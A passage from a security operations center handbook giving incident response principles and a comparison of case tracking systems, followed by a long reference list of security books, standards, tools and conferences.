ana-lysts—and no great cause for concern. They should fall under well-structured SOPs that can be picked up by members of the SOC and easily understood. This saves the SOC’s energy for cases that fall outside the daily routine, such as root compromises, whose response is not entirely formulaic and cannot be completely scripted. ‚Don’t panic. When police, firefighters, or paramedics arrive on the scene of a 911 call, they are cool, calm, and collected. They are able to assess and stabilize the situation and direct response accordingly. Doing so engenders trust on the part of the complainant or the victim. The SOC should follow the same practice. For those not familiar with CND operations, an incident is cause for great excitement and emotion. This can lead to reactions that amplify damage. The SOC will gain the trust of those involved if it provides measured response, no matter what circumstances it encounters. ‚Don’t jump to conclusions. “Oh my god, we’re being attacked!” has been uttered in response to many an incident. Are we really? What is causing us to draw this conclusion? Are we just looking at IDS alerts, or do we have a system image that clearly indicates a root compromise? It takes a skilled analyst to correctly interpret what a set of security logs or media artifacts do or do not say. Recognizing the limits of our understanding of a situation is critical, especially when an unambiguous “smoking gun” is hard to find. ‚Be careful about attribution. A NetFlow record may indicate that an entity from Kazblockistan is scanning our enterprise or is receiving DNS beaconing from a compromised host. Is it really someone in that country or is that just the next hop out in the network connection? Furthermore, just because an audit log is stamped with user Alice, was it really Alice sitting at the keyboard, was it Trudy who compromised Alice’s account, or, perhaps was it automated activity using Alice’s identity? Most times, an incident responder can only propose theories and suggest a degree of confidence about who is behind a given 252 set of malicious or anomalous activities. Unless we can actually prove who is sitting at the keyboard, user attribution is theory and not fact. ‚Assess the full extent of the intrusion. We have a malware hit against a box—Was it the only one compromised? We see a privilege escalation attack on a given system—Is this box linked through a trust rela- tionship to other systems or enclaves? We found some malware on a box involved in a compromise—What other indicators can we find that point to what activity, by whom, and at what stage in the attack life cycle? Shallow analysis can be very dangerous, and the operator must endeavor to understand the full scope of what has occurred. Gather as much relevant evidence as possible and exploit it to the maximum extent practicable. This goal must, of course, be balanced with the need to act in a timely manner, even though you don’t have all of the facts nailed down. ‚Understand the “so what?” When the SOC explains an incident to stakeholders and upper management, the bottom line is not about bits and bytes, it’s about mission, dollars, and, sometimes, lives. The SOC must translate technical jargon into business language. There are four questions that should be answered: (1) what (and/or who) was targeted, (2) was the adversary successful, (3) who is the adversary and what is its motivation, and (4) how do we continue the mission? ‚Follow rules of evidence collection and documentation, when appropriate. The more critical the incident, the greater pressure the SOC will likely face. All too often, the SOC must draw both a timeline of the adversary’s actions and a timeline of how the SOC responded. By carefully documenting its incidents and incident handling, the SOC can demonstrate the rigor behind its actions, when scrutinized. Documenting everything also means clearly having incident evidence in careful order. Finally, in the case of collecting artifacts and documenting actions taken, the SOC must carefully follow any applicable digital forensics or evidence collection laws for their jurisdiction. In fact, it often is best to err on the side of having forensically sound evidence, even when the SOC doesn’t initially think the case has any legal significance. ‚Provide measured updates at measured times. When a hospital patient goes in for surgery, family members sit for hours in a wait - ing room, anxiously awaiting news of their loved one’s fate. While it would be great to hear frequent updates on their loved one’s procedure, doing so would impede the surgeon’s ability to complete the operation correctly and in a timely manner. When firefighters show up at the scene of a fire, the onsite incident commander calls the Stop. Think. Respond . . . Calmly T en Strategies of a World-Class Cybersecurity Operations Center253 shots. The district fire chief and the city mayor generally don’t show up because there is no need. For most SOCs, these clear boundaries of trust and communication are not as well established as for doctors or emergency responders. In cyber incident response, the SOC must play a careful balancing act between keep - ing management and constituents up-to-date and executing analysis and response efforts. If not careful, key analysts will constantly be pulled away from actually analyzing and responding in order to brief stakeholders. It is wise for SOC leadership to manage expectations of constituency seniors and run interference so the SOC can continue with the mission. During a serious incident, the SOC may consider two separate regular meetings every day or two. The first is for direct players in the incident who can talk bits and bytes, and usually occurs informally on the SOC ops floor or over the phone. The second is a more formal SA update to upper management. This keeps seniors out of the weeds, ensures everyone is on the same page, and allows SOC personnel to focus on operations. The SOC should also be careful about which parties are given status updates. Many parties want to know about every incident that leaves the SOC, yet, in many cases, their need to know is tenuous at best. The SOC can cut down on second-guessing and time spent reporting status to external parties by carefully negotiating a reporting structure for major incident types. In addition, it’s important to let junior members of the SOC team know that they are not to release details on the incident without authorization. A SOC’s credibility can be easily destroyed by just one or two cases where a Tier 1 analyst picked up the phone and gave “half-baked” incident details to the wrong constituent. Furthermore, the SOC must be careful not to let details of incidents leak out in emails or other commu - nications that could be seen by an adversary. ‚Carefully assess the impact of countermeasures and response actions. The SOC must work with system owners and sysadmins in order to get to the bottom of an incident through careful artifact collection, analysis, and damage assessment. The SOC should not perform “knee-jerk” response actions that may take down key mission systems or networks. Blindly reimaging and reinstating systems involved in an incident without performing artifact and malware analysis is almost always coun - terproductive, because (1) we don’t know whether the adversary has lost its foothold, and (2) we will never be able to fully assess what actually happened. Rather, the SOC must understand how proposed countermeasures will impact their ability to assess the extent of the intrusion and how the adversary’s actions might 254 change as a result. SOCs that have strong adversary engagement skills may actually enact a series of response measures designed to guide the adversary toward a desired goal, revealing additional details of the adversary’s TTPs and motives. ‚Ensure the entire SOC is working toward the same goal. In the heat of the moment, it is easy for members of the SOC to step beyond what they are authorized to do, considering their limited perspective on what needs to happen next. Telling a system owner to disconnect a system or shut off access could be disas - trous, even if it seems like the right thing to do at the time. Coordination isn’t just between the SOC and external parties—it starts internally, through both peer-to-peer collaboration and a clear command structure. ‚Don’t be afraid to ask for help. Not every SOC has all the skills and knowledge in-house to handle every intrusion. Incidents must be evaluated within the context of the mission and systems they impact—meaning the SOC must frequently reach out to system owners. Is an attack targeted at a specific business or geographic region? By talking to other partners, the SOC can find out more. Do we have the necessary skills to analyze a piece of mal - ware? If not, another SOC or third party might provide reverse engineering expertise. 12.2 I ncident Tracking Every mature SOC needs a robust incident tracking capability. However, there is no one size fits all, meaning every SOC does it a little differently. In this section, we talk about key requirements and architectural options for incident tracking. We also discuss areas in which an incident tracking system (by itself) falls short, indicating the SOC should seek out additional forms of knowledge management. The SOC’s needs for incident tracking are not terribly different from general case tick - eting and tracking used in general IT help desk and system administration. That said, the SOC has several key requirements, many of which are unique to CND: ‚Allows consistent and complete information capture across incidents for each state of the incident life cycle—Tier 1 triage, Tier 2 analysis, response, closure, and reporting ‚Is able to record both structured information from analysts (incident category, time reported), semi-structured data (impacted users, impacted systems) and non struc - tured information (analyst narrative), along with time-stamped notes ‚Is available to SOC personnel while protecting sensitive details from constituents, thereby avoiding compromise of any insider threat cases or word getting out about an incident prematurely or to the wrong parties ‚Protects details about cases even if the general constituency is compromised Stop. Think. Respond . . . Calmly T en Strategies of a World-Class Cybersecurity Operations Center255 ‚Supports escalation and role-based access control for different sections within the SOC ‚Supports long-term trending and metrics ‚Can incorporate artifacts or pointers to artifacts, such as events or malware samples. It’s also important to note that as an alternative to calling the SOC or sending it an email, constituents could input information about suspected cyber incidents on a form on the SOC website. Although this information might automatically populate a case, sub - mitters outside of a SOC should not have access to that information after it is submitted (unlike an IT trouble ticketing system). Many SOCs will choose to keep this form submis - sion system separate from their internal case system for security purposes. Unfortunately, there is no standard IT case management system used for CND. Usually, SOCs will adopt one approach from those listed in the Table 24. Let’s look at the pros and cons of each potential approach to cybersecurity incident tracking. Table 24 C ase Tracking Approaches Approach Pros Cons Manually (on paper). Each case is tracked through a collection of hard-copy notes and artifacts.Free Easy to set up and useEscalation is straightforward.Compromise of SOC systems does not compromise case data.Can be slow. Paper copies can be lost. Large amounts of paper accumulate over time.Lack of structured forms can lead to inconsis- tent tracking, especially over time. Very “19th century”T rending or metrics are manual. Manually (in soft copy). The same as hardcopy, but arti-facts are left on a network share.Startup is relatively straightforward, assuming SOC already has a file share.Nearly as haphazard as hardcopy Lack of structured forms can lead to inconsis- tencies over time. T rending or metrics are manual.Short of changing directory and file permis- sions to each case, loss or compromise of data is possible. Existing IT case management systemAcquisition and O&M free to the SOC. Reporting and metrics possible.Seamless escalation of cases from/to IT help desk Unlikely to be flexible to SOC needs. Sensitive data is comingled with general IT help tickets. Ticketing sysadmins, power users can see SOC’s cases; very high likelihood of compro-mise of internal threat cases. If general constituency systems are compro- mised, it is fair to assume the adversary can see SOC cases. Incorporating case artifacts may be a challenge. 256 Table 24 C ase Tracking Approaches Approach Pros Cons SOC instance of COTS IT case man-agement systemSystem comes with polished fea-ture set, documented setup, and central administration. Robust reporting and metrics possible Case details available only to par - ties designated by SOCUsually very expensiveCustomization to SOC needs might be a challenge. Incorporating case artifacts may be a challenge. SOC instance of FOSS IT case man-agement systemDepending on tool chosen, system comes with polished feature set, documented setup, and central administration. Very flexibleFree to acquireReporting and metrics possibleCase details available only to par - ties designated by SOCGeneral IT case tracking system will require nontrivial customization to fit CND use cases; not “turnkey.” O&M customization will likely require staff with some experience in scripting, programming, or databases. Custom-built tick - eting systemExtremely flexible Reporting and metrics possibleCase details available only to par - ties designated by SOCExpensive to acquire and O&MSOC must build system from scratch, requiring staff with extensive experience with program-ming and databases. Development of system may take a while, since SOC must start from scratch. SIEM case tracking systemFree if SOC owns a SIEM System is specifically built for tracking security incidents. System leverages user groups and permissions setup for other SIEM tasks. Users can attach events and some artifacts to tickets. Escalation paths are useful if SOC leverages an event-driven workflow and correlation rules. Reporting and metrics possibleExtremely expensive if SOC does not own a SIEM Limited to no flexibility, depending on SIEM product If SIEM goes down, nearly all aspects of SOC operations (triage, analysis, case tracking) are kaput. There are a number of issues to consider here. Some SOCs will get started with a manual hardcopy or softcopy case management system, but as we can imagine, this will not last for very long. Leveraging an existing IT help desk ticketing system may also seem appealing, but the SOC has a specific set of needs and sensitivities. As such, that option isn’t very appealing either. A few SOCs have been known to build their own custom Stop. Think. Respond . . . Calmly T en Strategies of a World-Class Cybersecurity Operations Center257 ticketing system from scratch, but only when requirements and customized use cases support the resulting expense, as is sometimes the case in large, tiered, and coordinating SOCs. There may be good examples where case-by-case access controls are needed, such as with a SOC that has as strong law enforcement or insider threat mission need. On the basis of the pros and cons, many mature SOCs choose to leverage their own customized instance of a FOSS ticketing system. Request Tracker (RT) has been openly customized for use by SOCs [284], making it an appealing option. If the SOC chooses to implement or customize its own ticketing system, there are a number of existing examples of incident tracking forms found in Section 3.7.5 of [3] . That said, best-of-breed SIEMs have complex correlation capabilities. With these they can automatically generate cases prepopulated with key information. This is commonly used for cut-and-dried incidents like AV hits. Implementing automatic case generation for these use cases can save Tier 1 and Tier 2 a lot of time, but may be contingent on using the SIEM’s ticketing system. One alternative is to have the SIEM automatically send event details in a scripted action to a customized FOSS ticketing system. The critical decision here is where the SOC chooses to bring the analysts’ workflow out of the SIEM and into a third-party ticketing system. As mentioned in Section 11 , it’s also important to recognize that not everything a SOC needs to track over time may be contained in case notes. For instance, the SOC will likely want to build a knowledge base that is system-, adversary-, or TTP-focused, rather than case-focused. Some SIEMs have internal knowledge base features, but such functionality tends to be limited in its customizability. For more information on cyber threat knowledge management, see Section 11 . 258 References [1] W ikimedia Foundation, Inc., “Advanced Persistent Threat,” 3 Feb 2014. [Online]. Available: http://en.wikipedia.org/wiki/Advanced_persistent_threat. [Accessed 13 Feb 2014]. [2] R . G. Bace, Intrusion Detection, Indianapolis: Macmillan Technical Publishing, 2000. [3] G . Killcrece, K.-P. Kossakowski, R. Ruefle and M. Zajicek, “State of the Practice of Computer Security Incident Response Teams (CSIRTs),” October 2003. [Online]. Available: http://resources.sei.cmu.edu/library/asset-view.cfm?assetID=6571. [Accessed 13 Feb 2014]. [4] K illcrece, Georgia; Kossakowski, Klaus-Peter; Ruegle, Robin; Zajicek, Mark, “Organizational Models for Computer Security Incident Response Teams,” December 2003. [Online]. Available: www.cert.org/archive/pdf/03hb001.pdf. [Accessed 13 Feb 2014]. [5] S . Northcutt, Network Intrusion Detection (3rd Edition), Indianapolis: New Riders Publishing, 2002. [6] T . Parker, E. Shaw, E. Stroz, M. G. Devost and M. H. Sachs, Cyber Adversary Characterization: Auditing the Hacker Mind, Rockland, MA: Syngress Publishing, Inc., 2004. [7] L . Spitzner, Honeypots: Tracking Hackers, Addison-Wesley Professional, 2002. [8] M . J. West-Brown, D. Stikvoort, K.-P. Kossakowski, G. Killcrece, R. Ruefle and M. Zajicekm, “Handbook for Computer Security Incident Response Teams (CSIRTs),” April 2003. [Online]. Available: http://resources.sei.cmu.edu/library/asset-view.cfm?assetid=6305. [Accessed 13 Feb 2014]. [9] R . Bejtlich, The Tao of Network Security Monitoring: Beyond Intrusion Detection, Boston, MA: Pearson Education, 2005. [10] K . R. Van Wyk and R. Forno, Incident Response, Sebastopol, CA: O’Reilly Media, Inc., 2001. [11] C . Prosise, K. Mandia and M. Pepe, Incident Response and Computer Forensics, Second Edition, McGraw-Hill/Osborne, 2003. [12] E . E. Schultz and R. Shumway, Incident Response: A Strategic Guide to Handling System and Network Security Breaches, Sams, 2001. [13] R . Bejtlich, Extrusion Detection: Security Monitoring for Internal Intrusions, Addison-Wesley Professional, 2005. [14] C . Fry and M. Nystrom, Security Monitoring, Cambridge: O’Reilly, 2009. [15] D . Rajnovic, Computer Incident Response and Product Security, Indianapolis, IN: Cisco Press, 2011. [16] C . Sanders and J. Smith, Applied Network Security Monitoring: Collection, Detection, and Analysis, Boston, MA: Syngress, 2013. References T en Strategies of a World-Class Cybersecurity Operations Center259 [17] J . Carr, Inside Cyber Warfare, Sebastopol, CA: O’Reilly Media, 2010. [18] J . Andress and S. Winterfeld, Cyber Warfare, Waltham, MA: Elsevier, Inc., 2011. [19] P . Cichonski, K. Masone, T. Grance and K. Scarfone, “NIST Special Publication 800-61 Rev 2: Computer Security Incident Handling Guide,” August 2012. [Online]. Available: http://csrc.nist.gov/publications/nistpubs/800-61rev2/SP800-61rev2.pdf. [Accessed 13 Feb 2014]. [20] R . Bejtlich, Practice of Network Security Monitoring, San Francisco, CA: No Starch Press, 2013. [21] W . R. Stevens and K. R. Fall, TCP/IP Illustrated, Vol. 1: The Protocols (2nd Ed.), Boston: Addison-Wesley Professional, 2011. [22] G . R. Wright and W. R. Stevens, TCP/IP Illustrated, Vol. 2: The Implementation, Boston: Addison-Wesley Professional, 1995. [23] C . Sanders, Practical Packet Analysis: Using Wireshark to Solve Real-World Network Problems, San Francisco: No Starch Press, 2011. [24] C . Steel, Windows Forensics: The Field Guide for Corporate Computer Investigations, Hoboken: Wiley, 2006. [25] H . Carvey, Windows Forensic Analysis Toolkit, Third Edition: Advanced Analysis Techniques for Windows 7, Waltham: Syngress, 2012. [26] K . J. Jones, R. Bejtlich and C. W. Rose, Real Digital Forensics: Computer Security and Incident Response, Boston: Addison-Wesley Professional, 2005. [27] B . Carrier, File System Forensic Analysis, Boston: Addison-Wesley Professional, 2005. [28] D . Farmer and W. Venema, Forensic Discovery, Boston: Addison-Wesley Professional, 2005. [29] C . L. Brown, Computer Evidence: Collection and Preservation, Boston: Course Technology, 2009. [30] P . Engebretson, The Basics of Hacking and Penetration Testing: Ethical Hacking and Penetration Testing Made Easy, Syngress, 2011. [31] D . Stuttard and M. Pinto, The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws, Hoboken, NJ: Wiley, 2011. [32] J . Scrambray, V. Liu and C. Sima, Hacking Exposed Web Applications, 3rd Ed, New York, NY: McGraw-Hill Osborne Media, 2010. [33] C . Anley, J. Heasman, F. Lindner and G. Richarte, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, Hoboken: Wiley, 2007. [34] D . Litchfield, C. Anley, J. Heasman and B. Grindlay, The Database Hacker’s Handbook: Defending Database Servers, Hoboken: Wiley, 2005. [35] P . Herzog, “Open Source Security Testing Methodology Manual (OSSTMM),” 2014. [Online]. Available: http://www.isecom.org/research/osstmm.html. [Accessed 13 Feb 2014]. [36] M . Sikorski and A. Honig, Practical Malware Analysis, San Francisco: No Starch Press, 2012. 260 [37] M . Ligh, S. Adair, B. Hartstein and M. Richard, Malware Analyst’s Cookbook and DVD: Tools and Techniques for Fighting Malicious Code, Hoboken: Wiley, 2010. [38] C . Eagle, The IDA Pro Book: The Unofficial Guide to the World’s Most Popular Disassembler, San Francisco: No Starch Press, 2011. [39] C . H. Malin, E. Casey and J. M. Aquilina, Malware Forensics: Investigating and Analyzing Malicious Code, Waltham: Syngress, 2008. [40] E . Eilam, Reversing: Secrets of Reverse Engineering, Hoboken: Wiley, 2005. [41] N SS Labs, Inc., “Test Reports | NSS Labs,” 15 Jan 2014. [Online]. Available: https:// www.nsslabs.com/reports/categories/test-reports. [Accessed 13 Feb 2014]. [42] C ommittee on National Security Systems, “CNSS Instruction No. 4009,” Committee on National Security Systems, Ft. Meade, 2010. [43] N . Brownlee and E. Guttman, “Request for Comments 2350 Expectations for Computer Security Incident Response,” June 1998. [Online]. Available: http://www. ietf.org/rfc/rfc2350.txt. [Accessed 20 Feb 2012]. [44] R . Shirey, “RFC4949, Internet Security Glossary, Version 2,” August 2007. [Online]. Available: http://tools.ietf.org/html/rfc4949. [Accessed 13 Feb 2014]. [45] N IST, “Information Security Continuous Monitoring (ISCM) for Federal Information Systems and Organizations, NIST SP 800-137,” September 2011. [Online]. Available: http://csrc.nist.gov/publications/nistpubs/800-137/SP800-137-Final.pdf. [Accessed 13 Feb 2014]. [46] T he SANS Institute, “Security Training Courses,” 2012. [Online]. Available: http:// www.sans.org/security-training/courses.php. [Accessed 5 Apr 2012]. [47] M . R. Endsley, “Toward a Theory of Situation Awareness in Dynamic Systems,” Human Factors, pp. 32–64, 1 March 1995. [48] R . Marty, Applied Security Visualization, Boston, MA: Pearson Education, Inc., 2009. [49] G . Conti, Security Data Visualization: Graphical Techniques for Network Analysis, San Francisco, CA: No Starch Press, 2007. [50] D . A. D’Amico, “VizSec.org,” 30 Jan 2014. [Online]. Available: http://www.vizsec. org/. [Accessed 13 Feb 2014]. [51] J . Boyd, “The OODA Loop,” Feb 2010. [Online]. Available: http://www.danford.net/ boyd/essence4.htm. [Accessed 13 Feb 2014]. [52] E . M. Hutchins, M. J. Cloppert and R. M. Amin, “Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains,” Proceedings of the 6th International Conference on Information-Warfare & Security (ICIW 2011), March 2011. [Online]. Available: http://www.lockheedmar - tin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf. [Accessed 7 October 2012]. [53] N ational Security Agency, “Defense in Depth,” 8 June 2001. [Online]. Available: http://www.nsa.gov/ia/_files/support/defenseindepth.pdf. [Accessed 13 Feb 2014].References T en Strategies of a World-Class Cybersecurity Operations Center261 [54] D . J. Castello, “There’s Nothing Wrong With Our Radar!,” 2001. [Online]. Available: http://www.pearl-harbor.com/georgeelliott/index.html. [Accessed 13 Feb 2014]. [55] S . Axelsson, “The Base-Rate Fallacy and its Implications for the Difficulty of Intrusion Detection,” in Recent Advances in Intrusion Detection , 1999. [56] N ational Oceanic and Atmospheric Administration, “NOAA Deepwater Horizon Archive,” 2014. [Online]. Available: http://www.noaa.gov/deepwaterhorizon/. [Accessed 13 Feb 2014]. [57] D . S. Hilzenrath, “Technician: Deepwater Horizon Warning System Disabled,” The Washington Post, 23 July 2010. [58] C able News Network, “Fortune 500,” 2014. [Online]. Available: http://money.cnn. com/magazines/fortune/fortune500/. [Accessed 13 Feb 2014]. [59] F orbes.com LLC, “The World’s Biggest Public Companies,” 2014. [Online]. Available: http://www.forbes.com/global2000/list/. [Accessed 13 Feb 2014]. [60] G . Killcrece, “Steps for Creating National CSIRTs,” August 2004. [Online]. Available: http://resources.sei.cmu.edu/library/asset-view.cfm?assetid=53062. [Accessed 13 Feb 2014]. [61] T he SANS Institute, “Information Security Policy Templates,” 2014. [Online]. Available: http://www.sans.org/security-resources/policies/. [Accessed 13 Feb 2014]. [62] W ikimedia Foundation, Inc., “T-shaped skills,” 27 Nov 2013. [Online]. Available: http://en.wikipedia.org/wiki/T-shaped_skills. [Accessed 13 Feb 2014]. [63] S ourcefire, Inc., “Snort :: Home Page,” 2014. [Online]. Available: http://www.snort. org/. [Accessed 13 Feb 2014]. [64] O pen Information Security Foundation, “Suricata,” 2014. [Online]. Available: http:// suricata-ids.org/. [Accessed 13 Feb 2014]. [65] T he Bro Project, “The Bro Network Security Monitor,” 2014. [Online]. Available: http://www.bro.org/. [Accessed 13 Feb 2014]. [66] Q oSient, LLC, “Argus,” 20 Jan 2014. [Online]. Available: http://www.qosient.com/ argus/. [Accessed 13 Feb 2014]. [67] C arnegie Mellon University, “CERT netSA Security Suite,” 2014. [Online]. Available: http://tools.netsa.cert.org/. [Accessed 13 Feb 2014]. [68] D . Miessler, “A tcpdump Tutorial and Primer,” 2014. [Online]. Available: http://dan - ielmiessler.com/study/tcpdump/. [Accessed 13 Feb 2014]. [69] W ireshark Foundation, “Wireshark. Go Deep.,” 2014. [Online]. Available: http:// www.wireshark.org/. [Accessed 13 Feb 2014]. [70] M cAfee, Inc., “McAfee Network Security Platform,” 2014. [Online]. Available: http:// www.mcafee.com/us/products/network-security-platform.aspx. [Accessed 13 Feb 2014]. [71] M cAfee Inc., “McAfee ePolicy Orchestrator,” 2014. [Online]. Available: http://www. mcafee.com/us/products/epolicy-orchestrator.aspx. [Accessed 13 Feb 2014]. 262 [72] H ewlett-Packard Development Company, L.P., “Network Security | HP Official Site,” 2014. [Online]. Available: http://www8.hp.com/us/en/software-solutions/network- security/index.html. [Accessed 13 Feb 2014]. [73] H ewlett-Packard Development Company, L.P., “SIEM, Information Security | HP Official Site,” 2014. [Online]. Available: http://www8.hp.com/us/en/software-solu - tions/siem-arcsight/. [Accessed 13 Feb 2014]. [74] S plunk, Inc., “Splunk,” 2014. [Online]. Available: http://www.splunk.com/. [Accessed 13 Feb 2014]. [75] R apid7, “Metasploit,” 2014. [Online]. Available: http://www.metasploit.com/. [Accessed 13 Feb 2014]. [76] D . Kennedy, J. O’Gorman, D. Kearns and M. Aharoni, Metasploit: The Penetration Tester’s Guide, No Starch Press, 2011. [77] C ore Security Technologies, “Core Impact Pro,” 2014. [Online]. Available: http:// www.coresecurity.com/core-impact-pro. [Accessed 13 Feb 2014]. [78] I mmunity, Inc., “Canvas,” 2004. [Online]. Available: http://immunityinc.com/prod - ucts-canvas.shtml. [Accessed 13 Feb 2014]. [79] O ffensive Security Ltd., “Laki Linux | Rebirth of BackTrack, The Penetration Testing Distribution,” 2014. [Online]. Available: http://www.kali.org/. [Accessed 13 Feb 2014]. [80] T hreatTrack Security, Inc., “Sandbox Software & Malware Analysis,” 2014. [Online]. Available: http://www.threattracksecurity.com/enterprise-security/sandbox-software.aspx. [Accessed 13 Jan 2014]. [81] F ireEye, Inc., “Malware Analysis Tools, Testing & Protection System,” 2014. [Online]. Available: http:/ /www.fireeye.com/products-and-solutions/forensic-analysis.html. [Accessed 13 Feb 2014]. [82] M icrosoft, “Windows Sysinternals,” 29 Jan 2014. [Online]. Available: http://technet. microsoft.com/en-us/sysinternals/default. [Accessed 13 Feb 2014]. [83] H ex-Rays SA, “IDA: About,” 25 Jan 2014. [Online]. Available: http://www.hex-rays. com/products/ida/index.shtml. [Accessed 13 Feb 2014]. [84] p erl.org, “Perl,” 2014. [Online]. Available: http://www.perl.org/. [Accessed 13 Feb 2014]. [85] D . Dougherty and A. Robbins, sed & awk (2nd Edition), O’Reilly Media, 1997. [86] W ikimedia Foundation, Inc., “Grep,” 11 Feb 2014. [Online]. Available: http:// en.wikipedia.org/wiki/Grep. [Accessed 13 Feb 2014]. [87] D . Flanagan and Y. Matsumoto, The Ruby Programming Language, O’Reilly, 2008. [88] D . M. Beazley, Python Essential Reference (4th Edition), Addison-Wesley Professional, 2009. [89] A ccessData Group, LLC, “FTK,” 2013. [Online]. Available: http://www.accessdata. com/products/digital-forensics/ftk. [Accessed 13 Feb 2014].References T en Strategies of a World-Class Cybersecurity Operations Center263 [90] G uidance Software, Inc., “EnCase Forensic,” 2014. [Online]. Available: http://www. guidancesoftware.com/products/Pages/encase-forensic/overview.aspx. [Accessed 13 Feb 2014]. [91] N IST, “NICE Cybersecurity Workforce Framework,” 30 Jul 2013. [Online]. Available: http://csrc.nist.gov/nice/framework/. [Accessed 13 Feb 2014]. [92] C arnegie Mellon University, “Staffing Your Computer Security Incident Response Team—What Basic Skills Are Needed?,” 1 June 2004. [Online]. Available: http://www.cert.org/incident-management/csirt-development/csirt-staffing.cfm. [Accessed 13 Feb 2014]. [93] R . Bejtlich, “CIRT-Level Response to Advanced Persistent Threat,” 3 July 2010. [Online]. Available: http://computer-forensics.sans.org/summit-archives/2010/bejtlich-cirt-level-response.pdf. [Accessed 13 Feb 2014]. [94] P . Stamp, “Building a World-Class Security Operations Function,” Forrester Research, Inc., Cambridge, MA, 2008. [95] S . M. Heathfield, “Top Ten Ways to Retain Your Great Employees,” 2014. [Online]. Available: http://humanresources.about.com/od/retention/a/more_retention.htm. [Accessed 13 Feb 2014]. [96] D . J. G. Sujansky and D. J. Ferri-Reed, Keeping the Millennials, Hoboken, New Jersey: John Wiley & Sons, Inc., 2009. [97] L . Branham, The 7 Hidden Reasons Employees Leave: How to Recognize the Subtle Signs and Act Before It’s Too Late, New York, NY: AMACOM, 2005. [98] B . Kaye and S. Jordan-Evans, Love ’Em or Lose ’Em: Getting Good People to Stay, San Francisco, CA: Berrett-Koehler Publishers, Inc., 2008. [99] G IAC, “GIAC,” 2014. [Online]. Available: http://www.giac.org/. [Accessed 13 Feb 2014]. [100] O ffensive Security Ltd., “Offensive Security Training and Professional Services,” 2014. [Online]. Available: http://www.offensive-security.com/. [Accessed 13 Feb 2014]. [101] T echweb, “BlackHat Briefings & Training,” 2014. [Online]. Available: http://www. blackhat.com/. [Accessed 13 Feb 2014]. [102] D EF CON Communications, Inc., “DEFCON,” 2014. [Online]. Available: https://www. defcon.org/. [Accessed 13 Feb 2014]. [103] R SA Conference, “Where the World Talks Security—RSA Conference,” 2014. [Online]. Available: http://www.rsaconference.com/. [Accessed 13 Feb 2014]. [104] T oorCon, Inc., “ToorCon,” 20 Aug 2013. [Online]. Available: http://toorcon.org/. [Accessed 13 Feb 2014]. [105] S hmooCon, LLC, “ShmooCon,” 2014. [Online]. Available: http://www.shmoocon.org/. [Accessed 13 Feb 2014]. [106] S kydogcon, “SkyDogCon News!,” 2014. [Online]. Available: http://www.skydogcon. com. [Accessed 13 Feb 2014]. 264 [107] D erbycon, “DerbyCon : Louisville, Kentucky,” 2013. [Online]. Available: https:// www.derbycon.com/. [Accessed 13 Feb 2014]. [108] B Sides, “Security B-Sides,” 2014. [Online]. Available: http://www.securitybsides. com/w/page/12194156/FrontPage. [Accessed 13 Feb 2014]. [109] L ayerone, “LayerOne,” 17 Oct 2013. [Online]. Available: http://www.layerone.org/. [Accessed 13 Feb 2014]. [110] C arnegie Mellon University, “Flocon,” 2014. [Online]. Available: http://www.cert.org/ flocon/. [Accessed 13 Feb 2014]. [111] N ashville2600.org, “PhreakNIC,” 2014. [Online]. Available: http:/ /www.phreaknic. info/. [Accessed 13 Feb 2014]. [112] 2 600 Enterprises, Inc., “HOPE X,” 2014. [Online]. Available: http://www.hope.net/. [Accessed 13 Feb 2014]. [113] E C-Council, “Hacker Haulted,” 2013. [Online]. Available: http://www.hackerhalted. com/. [Accessed 13 Feb 2014]. [114] T he SANS Institute, “SANSFIRE 2014,” 2014. [Online]. Available: http://www.sans. org/event/sansfire-2014. [Accessed 13 Feb 2014]. [115] U SENIX, “USENIX Security Symposium,” 2014. [Online]. Available: https://www. usenix.org/conferences/byname/108. [Accessed 13 Feb 2014]. [116] G . Conti, J. Caroland, T. Cook and H. Taylor, “Self-Development for Cyber Warriors,” Small Wars Journal, 10 Nov 2011. [117] M icrosoft, “Microsoft System Center Configuration Manager 2007 R3,” 2014. [Online]. Available: http://www.microsoft.com/en-us/server-cloud/system-center/configura - tion-manager-features.aspx. [Accessed 13 Feb 2014]. [118] H ewlett-Packard Development Company, L.P., “HP Client Automation software,” 2014. [Online]. Available: http:/ /www8.hp.com/us/en/software-solutions/software. html?compURI=1174852. [Accessed 13 Feb 2014]. [119] S ymantec Corporation, “Altiris Product Family,” 2014. [Online]. Available: http:// www.symantec.com/configuration-management. [Accessed 13 Feb 2014]. [120] M icrosoft Corporation, “Microsoft Visio 2013 -- flowchart software -- Office.com,” 2014. [Online]. Available: http://office.microsoft.com/en-us/visio/. [Accessed 13 Feb 2014]. [121] L umeta Corporation, “Network Discovery, Leak Detection & Visual Analytics | IPsonar Product Suite from Lumeta,” 2014. [Online]. Available: http://www.lumeta.com/product/overview.html. [Accessed 13 Feb 2014]. [122] W ikimedia Foundation, Inc., “traceroute,” 4 Feb 2014. [Online]. Available: http:// en.wikipedia.org/wiki/Traceroute. [Accessed 13 Feb 2014]. [123] R edSeal Networks, Inc., “RedSeal Networks,” 2014. [Online]. Available: http://www. redsealnetworks.com/. [Accessed 13 Feb 2014].References T en Strategies of a World-Class Cybersecurity Operations Center265 [124] R apid7, “Vulnerability Management & Risk Management Software | Rapid7,” 2014. [Online]. Available: http://www.rapid7.com/products/nexpose/. [Accessed 13 Feb 2014]. [125] T enable Network Security, “Tenable Nessus,” 2014. [Online]. Available: http://www. tenable.com/products/nessus. [Accessed 13 Feb 2014]. [126] B eyondTrust, Inc., “eEye Retina Network Scanner,” 2014. [Online]. Available: http:// www.beyondtrust.com/Products/RetinaNetworkSecurityScanner/. [Accessed 13 Feb 2014]. [127] K . Katterjohn, “Port Scanning Techniques,” Packetstorm, 8 March 2007. [Online]. Available: http://packetstormsecurity.org/files/view/54973/port-scanning-techniques.txt. [Accessed 13 Feb 2014]. [128] G . Lyon, “Nmap,” 2014. [Online]. Available: http://nmap.org/. [Accessed 13 Feb 2014]. [129] G . F. Lyon, Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning, Sunnyvale: Insecure.com LLC, 2009. [130] M . Zalewski, “p0f v3,” 2012. [Online]. Available: http://lcamtuf.coredump.cx/p0f3/. [Accessed 13 Feb 2014]. [131] G eeknet, Inc., “X probe - active OS fingerprinting tool,” 4 Jun 2013. [Online]. Available: 